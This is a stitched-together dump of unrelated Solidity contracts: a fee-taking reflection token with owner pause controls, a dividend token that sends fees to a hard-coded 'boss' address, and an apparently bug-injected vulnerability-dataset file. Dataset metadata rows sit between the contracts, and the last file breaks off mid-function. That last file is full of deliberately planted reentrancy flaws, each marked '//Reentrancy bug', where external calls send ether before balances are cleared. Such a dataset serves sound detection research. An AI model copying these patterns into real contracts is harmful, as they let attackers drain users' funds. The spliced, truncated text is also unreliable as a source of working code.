function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Snorlex is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Snorlex Fantom';
string private constant _symbol = 'SX';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xA47637F89e279f5D6A67A8e4364A537231829C1C, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 313,152 | 283 |
5b7dbfbff2ce1a51116143bc4a80fdd1b846f3ae8093bcb2db3226bf47b55e13
| 13,348 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6ab8e14800a61f511f43138d0d06dace02817342.sol
| 3,481 | 12,484 |
pragma solidity ^0.4.25;
contract CryptoMinerTokenETHconnection {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Miner Token ETHconnection";
string public symbol = "CMT";
address constant internal boss = 0x080a8D617e9bc74ABbece1cEE0dc21bd0a2F61cB;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 200,322 | 284 |
976bc35ef60c5de82f3520b4db1f655c1e97c04d1b33c41d07f163ff58605758
| 15,440 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Reentrancy/Sol/buggy_26.sol
| 4,601 | 15,339 |
pragma solidity 0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UBBCToken is IERC20 {
using SafeMath for uint256;
mapping(address => uint) balances_re_ent3;
function deposit_re_ent3() public payable{
uint amount = msg.value;
balances_re_ent3[msg.sender]+=amount;
}
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
mapping (address => uint256) private _balances;
mapping(address => uint) balances_re_ent29;
function withdraw_balances_re_ent29 () public {
msg.sender.call.value(balances_re_ent29[msg.sender ])(""); //Reentrancy bug
balances_re_ent29[msg.sender] = 0;
}
mapping (address => mapping (address => uint256)) private _allowances;
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
msg.sender.call.value(10 ether)(""); //Reentrancy bug
revert();
counter_re_ent28 += 1;
}
uint256 private _totalSupply;
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent27 = false;
}
string private _name;
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
string private _symbol;
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
uint8 private _decimals;
constructor() public {
_name = "UBBC Token";
_symbol = "UBBC";
_decimals = 18;
_totalSupply = 260000000 ether;
_balances[0x0e475cd2c1f8222868cf85B4f97D7EB70fB3ffD3] = _totalSupply;
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Transfer(address sender, address to, uint256 value);
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Approval(address owner, address spender, uint256 value);
function name() public view returns (string memory) {
return _name;
}
address lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
function symbol() public view returns (string memory) {
return _symbol;
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
